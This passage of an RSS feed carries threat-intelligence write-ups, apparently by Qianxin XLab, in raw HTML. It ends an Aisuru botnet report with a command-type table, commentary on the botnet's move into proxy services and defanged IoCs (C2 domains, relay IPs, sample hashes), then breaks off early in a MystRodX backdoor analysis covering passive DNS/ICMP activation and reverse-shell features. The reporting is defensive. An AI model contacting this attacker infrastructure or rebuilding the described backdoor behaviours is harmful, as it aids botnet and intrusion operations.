&#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">exit</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">6</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">attack</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">7</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">execute cmd</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">8</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">new cnc</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">9</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">reverse shell</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">10</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">proxy</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">101</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">report telnet scan</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">201</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">report killer</span></p></td></tr><tr><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">202</span></p></td><td><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">report netspeed</span></p></td></tr></tbody></table><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">可以看出新样本不仅支持DDoS攻击，还支持Proxy。随着全球执法机构对网络犯罪的打击力度不断加大，网络犯罪集团对匿名化服务的需求日益增长。正所谓有需求的地方，就有利益。僵尸网络控制的节点天然适合构建住宅代理，从我们的目前积累的案例来看，这似乎是近年来DDoS圈的一个潮流，把业务从单一的攻击，扩展到网络代理。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们在</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">XLab指令跟踪系统</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">中实现了Aisuru网络协议，和预期一样，不仅接收到常规的DDoS攻击指令，还接到和Proxy相关的指令。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000468" alt="aisuru_cmdtype.png" class="rich_pages wxw-img" data-ratio="0.8682539682539683" data-type="png" data-w="630" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=18ff48ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIWh5ssJpj565VhmNibh8e7yiaGB7HyCzMhsWGHI1qxIIerlUlN5A03oNA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">很显然，Aisuru 已不再满足于 DDoS 攻击这一单一业务模式，开始涉足代理服务领域，试图充分利用其手中庞大的节点资源，以谋求更多经济利益。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000469" alt="aisuru_proxy.png" class="rich_pages wxw-img" data-ratio="0.13796296296296295" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cfef868d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIibTzke1vPTzECaIlPNtjEic0Or5iaZxyzLeFa4tsEmFy4cOYb4raMSKSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">IoC</span></span></h2><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">C2</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">coerece</span>[.ilovegaysex[.su</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">approach</span>[.ilovegaysex[.su</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">ministry</span>[.ilovegaysex[.su</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">lane</span>[.ilovegaysex[.su</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">a</span>.<span class="code-snippet__number">6</span>mv1eyr328y6due83u3js6whtzuxfyhw[.ru</span></code><br/></pre></p><pre><code></code></pre><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Report/Download Server</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">u[.ilovegaysex[.su</span></code><br/><code><span leaf="">updatetoto[.tw</span></code><br/></pre></p><pre><code></code></pre><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Proxy Relay C2</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">194</span>.<span class="code-snippet__number">46</span>.<span class="code-snippet__number">59</span>[.<span class="code-snippet__number">169</span>	United Kingdom|England|Exeter	AS206509|KCOM GROUP LIMITED</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">104</span>.<span class="code-snippet__number">171</span>.<span class="code-snippet__number">170</span>[.<span class="code-snippet__number">241</span>	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">104</span>.<span class="code-snippet__number">171</span>.<span class="code-snippet__number">170</span>[.<span class="code-snippet__number">253</span>	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">107</span>.<span class="code-snippet__number">173</span>.<span class="code-snippet__number">196</span>[.<span class="code-snippet__number">189</span>	United States|New York|Buffalo	AS36352|ColoCrossing</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">64</span>.<span class="code-snippet__number">188</span>.<span class="code-snippet__number">68</span>[.<span class="code-snippet__number">193</span>	United States|District of Columbia|Washington	AS46339|CSDVRS, LLC</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">78</span>.<span class="code-snippet__number">108</span>.<span class="code-snippet__number">178</span>[.<span class="code-snippet__number">100</span>	Czech Republic|Praha, Hlavni mesto|Prague	AS62160|Yes Networks Unlimited Ltd</span></code><br/></pre></p><pre><code></code></pre><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Sample</span></span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">09894c3414b42addbf12527b0842ee7011e70cfd</span></code><br/><code><span leaf="">51d9a914b8d35bb26d37ff406a712f41d2075bc6</span></code><br/><code><span leaf="">616a3bef8b0be85a3c2bc01bbb5fb4a5f98bf707</span></code><br/><code><span leaf="">ccf40dfe7ae44d5e6922a22beed710f9a1812725</span></code><br/><code><span leaf="">26e9e38ec51d5a31a892e57908cb9727ab60cf88</span></code><br/><code><span leaf="">08e9620a1b36678fe8406d1a231a436a752f5a5e</span></code><br/><code><span leaf="">053a0abe0600d16a91b822eb538987bca3f3ab55</span></code><br/></pre></p><pre><code></code></pre><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://blog.xlab.qianxin.com/super-large-scale-botnet-aisuru/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a27f1bd4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484123%26idx%3D1%26sn%3Deee0ec330a6b4178a62cd9fdb78b148a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 15 Sep 2025 12:45:00 +0800</pubDate>
    </item>
    <item>
      <title>静默之控：主动与被动双模后门MystRodX的隐匿渗透</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484093&amp;idx=1&amp;sn=830282cdd26681db43d723364c52f1c5</link>
      <description>背景介绍2025年6月6日，Xlab大网威胁感知系统监测到 IP 139.84.156.79 正在传播一个VT</description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-08-27 17:04</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=305482e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbiac1uUdYPHBynSY5394k0libL6ynaS2WV1aeO76CuTPveibwkQIgFI5RCYNYdKCmXbqFkyGPxhZWAzw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">背景介绍</span></span></p><p style="line-height: 1.75em;" data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2025年6月6日，<span textstyle="" style="background-color: rgb(115, 250, 121);">Xlab大网威胁感知系统</span>监测到 IP 139.84.156.79 正在传播一个VT低检测 4/65，名为dst86.bin的可疑ELF文件。</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">多引擎检测模块</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将该文件标识为MIRAI僵尸网络，但</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="background-color: rgb(115, 252, 214);">AI研判模块</span></span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">却没有给出相应的结果。这个“异常”引起了我们的兴趣，经过分析确认它是Dropper，最终会释放出一个全新的后门木马，和Mirai完全无关，多家杀软将其标记为Mirai是不准确的。基于其传僠中使用的文件名dst，释放样本中的类名cmy_，多种形式的Xor算法，我们将它命名为<span textstyle="" style="font-weight: bold;">MystRodX</span>。</span></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MystRodX是一个由C++语言实现的典型后门木马，支持文件管理，端口转发，反弹SHELL，sockets管理等功能。相较于一般的后门，MystRodX在隐匿性，灵活性俩方面具有非常鲜明的特点。其中</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">隐匿性</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">体现在对于不同级别敏感信息采用了差异化加密策略：</span></p><ul style="list-style-type: circle;margin-left: 0px;margin-right: 0px;" class="list-paddingleft-1"><li><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">虚拟机&amp;调试器检测等相关敏感字符串使用单字节xor加密</span></p></li><li><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">AES密钥，Payload，激活报文使用自定义的Transform算法加密</span></p></li><li><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">配置文件使用AES CBC模式加密</span></p></li></ul><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">而</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">灵活性</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">则是MystRodX会根据不同的配置动态开启不同的功能特性，比如网络协议使用TCP或HTTP，流量直接使用明文或AES加密等。其中最有意思的是支持被动唤醒的触发模式，</span><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">即<span textstyle="" style="background-color: rgb(115, 252, 214);">MystRodX可配置成被动式后门，在不使用开放端口的情况下由特定的DNS或ICMP网络报文激活</span></span></strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></p><p style="line-height: 1.75em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">MystRodX的配置中存在一项用于设定后门生效时间的选项。在已捕获的样本中，该选项所设置的最早时间为</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2024年01月07日 23:10:20</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">，表明该后门在真实网络中已潜伏超过20个月，且一直未被安全社区准确识别。此外，<span textstyle="" style="font-weight: bold;">基于</span></span><strong><span leaf="" style="color: rgba(0, 